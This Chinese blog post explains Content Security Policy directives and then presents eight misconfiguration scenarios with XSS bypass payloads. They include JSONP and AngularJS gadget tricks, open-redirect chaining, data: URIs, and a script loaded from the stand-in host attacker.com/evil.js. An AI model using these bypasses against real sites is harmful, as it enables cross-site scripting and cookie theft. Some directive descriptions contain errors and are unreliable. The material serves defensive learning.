近期在SDLC自动化安全扫描阶段,由于调整了扫描策略,扫出了一些跨域资源共享问题,针对这类问题,通过CSP配置能够有效解决,但日常开发过程中,对于CSP的认识相对较少,并且不知道如何进行配置。通过上网查询资料以及对日常安全扫描中发现的问题进行总结,整理了CSP的常见配置和可能绕过的姿势。
什么是CSP?
首先需要了解什么是CSP,网上已经有很多关于CSP的介绍以及如何配置CSP,这里简单说明一下CSP。 CSP(Content Security Policy,内容安全策略),是网页应用中常见的一种安全保护机制,通过安全策略的设置来决定外部来源引入的脚本、图片、框架是否能够在当前页面中被调用或执行,CSP可以通过响应包头或HTML中的元标签中的某些字段来实现,CSP是一种浏览器响应策略。
为什么使用CSP?
CSP最常用于防御网页应用中的XSS攻击,同样也可应用于指定哪些协议可以被服务端使用。一个成功的CSP配置不仅能够增强网页受外部攻击的防御能力,而且能够提供更多的防御攻击细节,安全人员能够从这些细节中发现更多潜在的漏洞。
CSP是如何工作的?
作为开发人员需要定义所有你的网页可以调用的各种资源的源。假如你是站点abc.com的管理员,站点需要引入各种资源,如本站的js脚本、图片、css文件和从其他站点如allowed.com引入的脚本、图片、css文件等。那么基本的CSP配置如下:
通过响应包头(Response Header)实现:
Content-Security-policy: default-src 'self'; script-src 'self' allowed.com; img-src 'self' allowed.com; style-src 'self';
通过HTML 元标签实现:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
在上面的配置中,default-src, img-src, style-src 和 script-src是CSP中常用的配置参数指令,通过这些参数指令配置来限制对应的引入源。下面是这些配置参数的说明:
script-src: 这个参数指令定义哪些javascript的源可以被引入;不仅包括通过<script>标签URL引入的js,而且包括内联js事件处理器中的js脚本和XSLT 清单中可以触发脚本执行的js;
default-src:这是一个默认参数配置指令,如果CSP头中没有其他的配置,则浏览器遵循该默认配置;
child-src:
connect-src:这个指令限制通过<a>标签、fetch指令、websocket协议、XMLHttpRequest等方式加载URL内容;
frame-src:这个指令限制哪些frames可以通过URL被调用;
frame-ancestors:这个指令参数指定哪些内容可以被嵌入到当前页面中。该指令可应用于<frame>、<iframe>、<embed>、以及<applet>等标签中,它不能用在<meta>标签中,并且只对非HTML的资源生效。
img-src:该指令限定哪些资源可以在网页中载入图片;
Manifest-src:该指令定义哪些应用的manifest文件可以被引入;
media-src: 该指令定义允许<audio>、<video>、和<track>等标签加载的多媒体对象;
object-src: 该指令定义允许<oject>、<embed>、和<applet>等标签引入的对象资源;
form-action:该指令可指定<form>标签中提交action的清单;
plugin-types:该指令定义哪些MIME类型的资源可以被网页调用;
upgrade-insecure-requests:该指令是要求浏览器升级重写URL请求的,把不安全的HTTP请求升级到安全的HTTPS请求,适用于站点中仍存在大量的旧的http资源。
介绍完CSP的指令,那么就需要介绍一下指令值了,指令值其实就是允许或不被允许的资源,主要包括:
*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
下面通过具体的例子来看看CSP指令和指令值的用法:
Content-Security-Policy:default-src 'self'; script-src https://example.com; report-uri: /Report-parsing-url;
<img src=image.jpg> 该图片来自https://example.com将被允许载入,因为是同源资源;
<script src=script.js> 该js脚本来自https://example.com将被允许载入,因为是同源资源;
<script src=https://examples.com/script.js>,该js脚本将不允许被加载执行,因为来自https://examples.com, 非同源;
"/><script>alert(xss)</script> 该脚本将不被允许执行。为什么呢?因为inline-src被设置成了self值,但是在上面的配置中并没有定义inline-src的值,那是因为定义了default-src的值为self,即使其他指令没有被定义但都会默认依据default-src的指令值,以下这些指令在没有定义值的情况下会依据default-src的值:
child-src connect-src font-src frame-src img-src manifest-src
media-src object-src prefetch-src script-src script-src-elem
script-src-attr style-src style-src-elem style-src-attr worker-src
介绍了CSP以及如何应用CSP,下面介绍如何绕过CSP限制技术呢。
要绕过CSP,首先需要分析CSP的配置,介绍两个能够适当分析CSP配置的在线网站:
https://csp-evaluator.withgoogle.com和 https://cspvalidator.org
接下来就看看几个CSP配置场景,如何绕过。
场景1:
Content-Security-Policy: script-src https://sina.comhttps://baidu.com'unsafe-inline' https://*; child-src 'none'; report-uri /Report-parsing-url;
通过观察策略配置不难发现,在script-src指令中允许不安全的内联资源,那么可以通过引入内联脚本达到执行命令的目的:
payload: "/><script>alert(xss);</script>
场景2:
Content-Security-Policy: script-src https://sina.comhttps://baidu.com 'unsafe-eval' data: http://*; child-src 'none'; report-uri /Report-parsing-url;
这个配置则是错误的使用了unsafe-eval指令值,由于使用了data配置,不能直接使用script脚本,可通过base64进行编码,可构造以下payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="></script>
场景3 :
Content-Security-Policy: script-src 'self' https://sina.com https://baidu.com https: data *; child-src 'none'; report-uri /Report-parsing-url;
这个配置在script-src指令中错误的使用了通配符,可以构造以下payload:
working payloads :"/>'><script src=https://attacker.com/evil.js></script>"/>'><script src=data:text/javascript,alert(1337)></script>
场景4:
Content-Security-Policy:script-src ‘self’ report-uri /Report-parsing-url;
这个配置中缺少了default-src和object-src配置,那么可以构造以下payload:
working payloads :<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object>
场景5:
Content-Security-Policy: script-src ‘self’ https://www.baidu.comobject-src ‘none’; report-uri: /Report-parsing-uri;
这个配置场景中,script-src被设置为self并且加了白名单配置,可以使用jsonp绕过。Jsonp允许不安全的回调方法从而允许攻击者执行xss,payload如下:
:"><script src="https://www.baidu.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
场景6:
Content-Security-Policy: script-src ‘self’ ajax.googleapis.com; object-src ‘none’; report-uri /Report-parsing-url;
如果应用使用angular并且脚本都是从一个白名单域中加载的,通过调用回调函数或者有漏洞的类从而绕过CSP策略,详细的细节可以参考:
https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:”Sh*t, -it’s-CSP!”
Payload如下:
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
场景7:
Content-Security-Policy:script-src ‘self’ accounts.google.com/random/ website.with.redirect.com; object-src ‘none’; report-uri /Report-parsing-url;
在上面的配置场景中,通过script-src定义了两个可以加载js脚本的白名单域。如果白名单域中任何一个域有开放的跳转链接那么CSP可以被绕过,攻击者可以构造payload使用该跳转链接跳转到另外一个支持jsonp调用的白名单域中,这种场景中,因为CSP只会检查域名host是否合法,不会检查路径参数,从而导致XSS被执行,payload如下:
">'><script src="https://website.with.redirect.com/redirect?url=https%3A//accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>">
场景8:
Content-Security-Policy: default-src ‘self’ data:*; connect-src ‘self’; script-src ‘self’; report-uri /_csp; upgrade-insecure-requests;
该场景下的CSP能够通过使用iframes绕过,前提是应用允许加载来自白名单域的iframes,满足前提的情况下,那么可以通过使用iframe的一个特殊属性srcdoc来执行XSS,payload如下:
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
以上CSP配置场景绕过姿势只是对日常CSP配置中可能存在的情况进行了部分总结和说明,并不能覆盖所有的CSP配置场景,CSP配置能够对XSS攻击有一定的缓解作用,但不能仅仅依赖于CSP的防护,在日常开发过程中,仍然要在服务端做好字符校验、输入过滤和输出编码,才是解决XSS的根本之道,希望以上对CSP配置的讲解和绕过方式能够对你学习CSP有帮助,互相学习,共同进步。